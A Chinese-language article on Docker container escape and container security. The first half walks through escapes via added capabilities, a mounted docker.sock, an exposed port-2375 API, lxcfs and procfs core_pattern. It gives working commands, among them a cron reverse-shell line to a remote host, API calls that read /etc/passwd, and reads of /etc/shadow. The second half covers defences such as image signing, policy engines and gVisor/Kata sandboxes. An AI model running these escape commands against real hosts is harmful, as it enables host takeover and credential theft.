当容器以--cap-add=SYSADMIN启动,Container进程就被允许执行mount、umount等一系列系统管理命令,如果攻击者此时再将外部设备目录挂载在容器中就会发生Docker逃逸。
docker run -idt –name notify_on_release_test_666 –cap-add=SYS_ADMIN ubuntu:18.04
cap_sys_ptrace权限允许对进程进行注入,当容器的pid namespace使用宿主机时便打破了进程隔离,从而使得容器可以对宿主机的进程进行注入,从而导致容器逃逸的风险。
创建CAP_SYS_PTRACE容器,
docker run -idt –name sys_ptrace_test666 –pid=host –cap-add SYS_PTRACE ubuntu:18.04
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon(docker守护进程)扮演,二者之间通信方式有以下3种:
其中使用docker.sock进行通信为默认方式,Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信。如果将Docker Socket(/var/run/docker.sock)挂载到容器内,则在容器内可以控制主机上的Docker创建新的恶意容器,从而实现逃逸。
所以本质上,
则攻击者可以执行Docker Deamon服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。
若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。
下面给出一个简单的案例演示。
运行一个挂载/var/run/的容器,
docker run -it -v /var/run/:/host/var/run/ 174c8c134b2a /bin/bash
寻找挂载的sock文件,
在容器内安装docker client,即docker,
apt-get update apt-get install docker.io
查看宿主机docker信息,
docker -H unix:///host/var/run/docker.sock info
借助docker.sock,操控宿主机运行一个新容器并挂载宿主机根路径,并跳转到新容器中,
docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash
写入计划任务到宿主机,
echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root
docker swarm中默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。
使用以下方式启动docker,
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
查看docker启动信息,
docker -H unix:///var/run/docker.sock info
在没有其他网络访问限制的主机上使用,则会在公网暴漏端口。
http://120.55.183.192:2375/version
此时访问/containers/json,便会得到所有容器id字段,
http://120.55.183.192:2375/containers/json
创建一个 exec,
curl -d "@exec.json" -H "Content-Type: application/json" -X POST http://120.55.183.192:2375/containers/998ed001d8f6ee6140d1c7a9ade273d88255e72eb38a0903890adbf704a7b84e/exec //exec.json { "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true }
发包后返回exec的id参数用于后续触发任务。
执行exec中的命令,成功读取passwd文件,
curl -d "@exec_start.json" -H "Content-Type: application/json" -X POST http://120.55.183.192:2375/exec/142c0cf96450911b372a97ead94e9b94ff626b1e41967ffb0bb36fab4f775d93/start --output out.json // exec_start.json { "Detach": false, "Tty": false }
这种方式只是获取到了docker主机的命令执行权限,但是还无法逃逸到宿主机。
借助不安全的docker.sock挂载这种攻击方式,可以通过写公钥或者计划任务逃逸到宿主机。
docker -H unix:///var/run/docker.sock ps
在容器内安装docker,
apt-get update apt-get install docker.io
查看宿主机docker镜像信息,
docker -H tcp://120.55.183.192:2375 images
启动一个容器并将宿主机根目录挂在到容器的test目录,
docker -H tcp://120.55.183.192:2375 run -it -v /:/test 174c8c134b2a /bin/bash
之后可以通过计划任务、写入公钥等方式实现宿主机劫持。
参考链接:
https://gist.github.com/subfuzion/08c5d85437d5d4f00e58 https://xz.aliyun.com/t/12495
lxcfs 是一个开源的用户态文件系统,当容器挂载了lxcfs 目录时便包含了cgroup目录,且对cgroup有写权限,从而可以实现逃逸。
在宿主机上安装并运行lxcfs。
yum install epel-release yum install debootstrap perl libvirt yum install lxc lxc-templates wget https://copr-be.cloud.fedoraproject.org/results/ganto/lxc3/epel-7-x86_64/01041891-lxcfs/lxcfs-3.1.2-0.2.el7.x86_64.rpm yum install lxcfs-3.1.2-0.2.el7.x86_64.rpm
运行lxcfs:
docker起一个挂载lxcfs的容器:
docker run -idt –name lxcfs_devices_allow_test666 -v /var/lib/lxcfs:/tmp/lxcfs:rw –cap-add=SYS_ADMIN ubuntu:18.04
文件系统类型为xfs需要mount权限,因此需要–cap-add=SYS_ADMIN。
若文件系统是ext2/ext3/ext4,则可以直接使用debugfs查看文件,不需要–cap-add=SYS_ADMIN。
进入容器可以查看lxcfs的挂载位置,可见其目录下包含cgroup:
重写devices.allow,设置容器允许访问所有类型设备:
echo a > /tmp/lxcfs/cgroup/devices/docker/8d8f19d5f3177028e32cd7bb6453c8b84f233e30473f3bd41a6568bfe502ed8d/devices.allow
查看/etc目录的node号和文件系统类型:
cat /proc/self/mountinfo | grep /etc | awk ‘{print $3,$8}’ | head -1
创建设备:
由于是xfs文件系统,先挂载设备:
mkdir /tmp/host_dir && mount host /tmp/host_dir
然后查看秘钥文件:
cat /tmp/host_dir/etc/shadow
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,可以导致容器逃逸。
/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是管道符|时,后面的部分会以命令行的方式进行解析并运行,利用该解析方式,我们可以进行容器逃逸。
漏洞利用原理简单来说如果下:将用户指定的shell命令指向宿主机/sys/kernel/core_pattern
文件,在容器空间通过segment fault触发core dump,进而触发shellcode执行。
创建一个容器并挂载/proc/sys/kernel/core_pattern目录:
docker run -idt –name mnt_procfs_test_666 -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04
进入容器,找到当前容器在宿主机下的绝对路径,
cat /proc/mounts | xargs -d ‘,’ -n 1 | grep workdir
写入反弹 shell 到目标的 core_pattern目录下,
echo -e “|/var/lib/docker/overlay2/ce9e4f107a0ba6c3b175462c049bcda5f18dad1ed9f87dfbce3ee0a53dceadd4/merged/tmp/.r.py \rcore ” > /host/proc/sys/kernel/core_pattern
然后在容器里运行一个可以崩溃的C程序,
#include<stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; }
编译程序并执行后,攻击机收到宿主机反弹的shell。
参考链接:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts https://zone.huoxian.cn/d/1204-proc https://blog.nsfocus.net/docker/ https://github.com/teamssix/container-escape-check https://wiki.teamssix.com/cloudnative/docker/container-escape-check.html https://paper.seebug.org/1474/ https://github.com/cdk-team/CDK/
从软件运行生命周期角度看,”容器安全“可以抽象为以下结构:
据 Prevasio 对于托管在 Docker Hub 上 400 万个容器镜像的调查统计,有 51% 的镜像存在高危漏洞;另外有 6432 个镜像被检测出包含恶意木马或挖矿程序,而光这 6432 个恶意镜像就已经被累计下载了 3 亿次。
如何应对这些潜伏于镜像制品中的安全挑战,
在镜像构建环节,除了及时发现镜像漏洞,如何在保证镜像在分发和部署时刻不被恶意篡改也是重要的安全防护手段,这就需要镜像的完整性校验。在阿里云容器服务企业版实例中,企业安全管理人员可以配置加签规则用指定的 KMS 密钥自动加签推送到仓库中的镜像。
K8s 原生的 admission 准入机制为应用部署时提供了校验机制。
这些常见的应用模板配置都很可能成为容器逃逸攻击的跳板。K8s 原生的 PSP 模型通过策略定义的方式约束应用容器运行时刻的安全行为。ACK 容器服务提供面向集群的策略管理功能,帮助企业安全运维人员根据不同的安全需求定制化 PSP 策略实例,同时绑定到指定的 ServiceAccount 上,对 PSP 特性的一键式开关也面向用户屏蔽了其复杂的配置门槛。此外,ACK 容器服务还支持 gatekeeper 组件的安装管理,用户可以基于 OPA 策略引擎更为丰富的场景下定制安全策略。
针对应用镜像在部署时刻的安全校验需求,谷歌在 18 年率先提出了Binary Authorization 的产品化解决方案。ACK 容器服务也在去年初正式落地了应用部署时刻的镜像签名和验签能力。通过安装定制化的 kritis 组件,企业安全运维人员可以通过定制化的验签策略保证应用部署镜像的安全性,防止被篡改的恶意镜像部署到企业生产环境中。
企业应用的稳定运行离不开运行时刻的安全防护手段。ACK 容器服务和云安全中心团队合作,面向
常见的运行时刻攻击行为进行 实时监控和告警。
与此同时,ACK 容器服务基于业界安全基线和最佳实践,面向集群内运行应用提供了一键化的免费 安全巡检能力,通过巡检任务及时暴露运行中容器应用在健康检查/资源限制/网络安全参数/安全参数等配置上不符合基线要求的危险配置,并提示用户修复建议,避免可能发生的攻击。
对于安全隔离程度要求较高的企业客户可以选择使用安全沙箱容器集群,安全沙箱容器基于轻量虚拟化技术实现,应用运行在独立的内核中,具备更好的安全隔离能力,适用于不可信应用隔离、故障隔离、性能隔离、多用户间负载隔离等多种场景。
安全容器的技术本质就是隔离。gVisor和Kata Container是比较具有代表性的实现方式,目前学术界也在探索基于Intel SGX的安全容器。
gVisor是用Golang编写的用户态内核,或者说是沙箱技术,它主要实现了大部分的system call。它运行在应用程序和内核之间,为它们提供隔离。
gVisor被使用在Google云计算平台的App Engine、Cloud Functions和Cloud ML中。
gVisor运行时,是由多个沙箱组成,这些沙箱进程共同覆盖了一个或多个容器。通过拦截从应用程序到主机内核的所有系统调用,并使用用户空间中的Sentry处理它们,gVisor充当guest kernel的角色,且无需通过虚拟化硬件转换,可以将它看做vmm与guest kernel的集合,或是seccomp的增强版。
Kata Container的Container Runtime是用hypervisor ,然后用hardware virtualization实现,如同虚拟机。所以每一个像这样的Kata Container的Pod,都是一个轻量级虚拟机,它拥有完整的Linux内核。所以Kata Container与VM一样能提供强隔离性,但由于它的优化和性能设计,同时也拥有与容器相媲美的敏捷性。
Kata Container在主机上有一个kata-runtime来启动和配置新容器。
对于Kata VM中的每个容器,主机上都有相应的Kata Shim。
Kata Shim接收来自客户端的API请求(例如Docker或kubectl),并通过VSock将请求转发给Kata VM内的代理。
Kata容器进一步优化以减少VM启动时间。同时使用QEMU的轻量级版本NEMU,删除了约80%的设备和包。VM-Templating创建运行Kata VM实例的克隆,并与其他新创建的Kata VM共享,这样减少了启动时间和Guest VM内存消耗。 Hotplug功能允许VM使用最少的资源(例如CPU、内存、virtio块)进行引导,并在以后请求时添加其他资源。
综合来看,gVisor设计上比Kata Container更加的“轻”量级,但gVisor的性能问题始终是一道暂时无法逾越的“天堑”。综合二者的优劣,Kata Container目前更适合企业内部。
总体而言,安全容器技术还需做诸多探索,以解决不同企业内部基础架构上面临的各种挑战。
Linux内核面临的问题可以用下图简要表示:
参考链接:
https://tech.meituan.com/2020/03/12/cloud-native-security.html https://www.secrss.com/articles/29877